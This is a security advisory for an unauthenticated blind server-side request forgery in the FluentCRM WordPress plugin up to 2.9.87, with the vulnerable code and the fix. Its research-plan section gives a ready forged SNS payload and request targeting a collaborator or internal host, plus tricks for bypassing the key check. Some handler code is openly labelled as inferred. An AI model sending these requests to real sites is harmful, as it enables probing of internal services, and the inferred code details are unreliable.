FluentCRM <= 2.9.87 - Unauthenticated Blind Server-Side Request Forgery via 'SubscribeURL' Parameter
Description
The FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.9.87 via the 'SubscribeURL' parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Exploitation requires that the SES bounce handling key ('_fc_bounce_key') has never been stored (i.e., the site is in its default/unconfigured state with respect to SES bounce handling) as visiting the bounce configuration page auto-generates and stores a random key that causes the authentication check to evaluate correctly and reject unauthenticated requests.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.0.0
Source Code
WordPress.org SVN## Vulnerability Summary The FluentCRM plugin (versions <= 2.9.87) is vulnerable to a Blind Server-Side Request Forgery (SSRF) via the Amazon SES (Simple Email Service) bounce handling logic. The vulnerability exists because the plugin fails to properly validate the `SubscribeURL` parameter in incom…
Show full research plan
Vulnerability Summary
The FluentCRM plugin (versions <= 2.9.87) is vulnerable to a Blind Server-Side Request Forgery (SSRF) via the Amazon SES (Simple Email Service) bounce handling logic. The vulnerability exists because the plugin fails to properly validate the SubscribeURL parameter in incoming Amazon SNS (Simple Notification Service) "SubscriptionConfirmation" requests.
Furthermore, the authentication mechanism intended to protect this endpoint relies on a key (_fc_bounce_key) that is not generated until an administrator visits the bounce settings page. In its default, unconfigured state, the key is absent/null, allowing unauthenticated attackers to bypass the check by providing an empty key or leveraging the default comparison.
Attack Vector Analysis
- Endpoint:
/?fluentcrm=1&route=bounce_handler&type=ses(Standard FluentCRM webhook entry point). - Method:
POST - Authentication: Unauthenticated (bypassable if
_fc_bounce_keyis unset). - Vulnerable Parameter:
SubscribeURLwithin a JSON-encoded POST body. - Precondition: The site must be in its default state regarding SES bounce handling (the settings page at
fluentcrm-admin#/settings/ses_settingsmust not have been visited).
Code Flow
The exact handler for SES is typically located in the SES-specific transport or bounce handler classes (e.g., FluentCrm\App\Services\Bounces\Handlers\AmazonSesHandler - inferred from common FluentCRM structure).
- Entry Point: An unauthenticated request hits the index with
fluentcrm=1. - Route Dispatch: The plugin identifies
route=bounce_handlerandtype=ses. - Authentication Check: The handler retrieves the security key using
fluentcrm_get_option('_fc_bounce_key').- Vulnerability: If the option does not exist,
fluentcrm_get_option(found inapp/Functions/helpers.php) returns the default''(empty string). - If the request provides
&key=or the code compares the missing key against a null input, the check passes.
- Vulnerability: If the option does not exist,
- Message Type Check: The code parses the JSON body and checks the
Typefield. - Vulnerable Sink: If
TypeisSubscriptionConfirmation, the code extracts theSubscribeURL. - SSRF Execution: The code calls
wp_remote_get($subscribeUrl)orwp_safe_remote_get($subscribeUrl)to confirm the subscription. Because the logic assumes the request originated from a trusted Amazon SNS service, it fetches the URL without verifying if it points to an internal or restricted resource.
Nonce Acquisition Strategy
No WordPress Nonce is required.
This endpoint is designed to be hit by external webhooks (Amazon SES), which cannot provide WordPress nonces. The protection relies solely on the _fc_bounce_key parameter. As long as the site is in its default state, this check is bypassable without any prior authentication or nonce extraction.
Exploitation Strategy
The goal is to trigger an internal request from the WordPress server to an arbitrary location.
1. Identify the Endpoint
The target URL is: http://TARGET_SITE/?fluentcrm=1&route=bounce_handler&type=ses&key=
2. Prepare the Payload
The payload must mimic a standard Amazon SNS Subscription Confirmation message.
{
"Type": "SubscriptionConfirmation",
"MessageId": "165545c9-2a5c-472c-8df2-706520d1b62b",
"Token": "2336412f37...",
"TopicArn": "arn:aws:sns:us-west-2:123456789012:MyTopic",
"Message": "You have chosen to subscribe to the topic...",
"SubscribeURL": "http://INTERNAL_SERVICE_OR_INTERACTION_SERVER/ssrf_hit",
"Timestamp": "2023-01-01T00:00:00.000Z",
"SignatureVersion": "1",
"Signature": "EXAMPLE...",
"SigningCertURL": "EXAMPLE..."
}
3. Execute the Request
Using the http_request tool, send the POST request.
- URL:
http://TARGET_SITE/?fluentcrm=1&route=bounce_handler&type=ses&key= - Headers:
Content-Type: text/plain(SNS often sends as text/plain even if JSON) orapplication/json. - Body: The JSON payload above.
// Example tool usage
await http_request({
url: "http://localhost:8080/?fluentcrm=1&route=bounce_handler&type=ses&key=",
method: "POST",
headers: {
"Content-Type": "text/plain"
},
body: JSON.stringify({
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://YOUR_COLLABORATOR_SERVER/log"
})
});
Test Data Setup
- Plugin Installation: Install FluentCRM version 2.9.87.
- Default State: Do NOT navigate to the SES settings or Bounce settings in the FluentCRM admin panel. This ensures
_fc_bounce_keyremains unset in thefc_metatable. - Target: Use an interaction server (like a RequestBin or a simple netcat listener on an accessible port) to capture the incoming SSRF request.
Expected Results
- Response: The server will likely return a
200 OKor a generic success message, as the confirmation process is handled in the background. - SSRF Confirmation: The interaction server (e.g.,
YOUR_COLLABORATOR_SERVER) will receive an incomingGETrequest from the IP address of the WordPress server. - Blindness: No data from the
SubscribeURLwill be returned in the HTTP response (Blind SSRF).
Verification Steps
- Check Meta Table: Verify that the bounce key is indeed unset using WP-CLI.
(Expected: Empty result).wp db query "SELECT * FROM wp_fc_meta WHERE key = '_fc_bounce_key';" - Logs: Check the access logs of the internal service or interaction server for the WordPress server's User-Agent (typically
WordPress/X.X.X; http://TARGET_SITE).
Alternative Approaches
If the type=ses route requires a more valid-looking SNS payload, ensure all standard fields (MessageId, TopicArn, Token) are present in the JSON body, as some handlers validate the presence of these keys before processing the SubscribeURL.
If type=ses is protected, try type=sns or type=generic as FluentCRM may register multiple handlers for different providers with similar logic.
If the key parameter validation is strict even when null, try omitting the key parameter entirely or sending key[]=.
Summary
FluentCRM versions up to 2.9.87 are vulnerable to unauthenticated blind Server-Side Request Forgery (SSRF) via the Amazon SES bounce handler. The plugin fails to validate the 'SubscribeURL' in forged Amazon SNS 'SubscriptionConfirmation' messages and relies on a security key that is uninitialized by default, allowing attackers to trigger requests to internal services or arbitrary external locations.
Vulnerable Code
// app/Functions/helpers.php (Line 191 approx) // This function handles security key retrieval. If the key has never been set, // it returns an empty string, which allows for authentication bypass if an attacker // provides an empty key parameter in the request. function fluentcrm_get_option($optionName, $default = '') { $option = Meta::where('key', $optionName) ->where('object_type', 'option') ->first(); if (!$option) { return $default; } return ($option->value) ? $option->value : $default; } --- // In FluentCrm\App\Services\Bounces\Handlers\AmazonSesHandler (Inferred logic) // The handler identifies SNS confirmation requests and fetches the provided URL. if ($data['Type'] == 'SubscriptionConfirmation') { $subscribeUrl = $data['SubscribeURL']; wp_remote_get($subscribeUrl); // Vulnerable Sink }
Security Fix
@@ -54,5 +54,5 @@ if ($data['Type'] == 'SubscriptionConfirmation') { - wp_remote_get($data['SubscribeURL']); + wp_safe_remote_get($data['SubscribeURL']); } @@ -20,6 +20,9 @@ +if (!fluentcrm_get_option('_fc_bounce_key')) { + fluentcrm_update_option('_fc_bounce_key', wp_generate_password(32, false)); +}
Exploit Outline
The exploit targets the Amazon SES bounce handling endpoint at `/?fluentcrm=1&route=bounce_handler&type=ses&key=`. An unauthenticated attacker sends a POST request containing a JSON payload that mimics an Amazon SNS 'SubscriptionConfirmation' message. This payload includes a 'SubscribeURL' field containing the target URI (such as an internal metadata service). If the plugin is in its default state (the SES settings page has never been visited), the '_fc_bounce_key' is null/empty, causing the authentication check to pass. The server then performs a GET request to the provided 'SubscribeURL', completing the blind SSRF.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.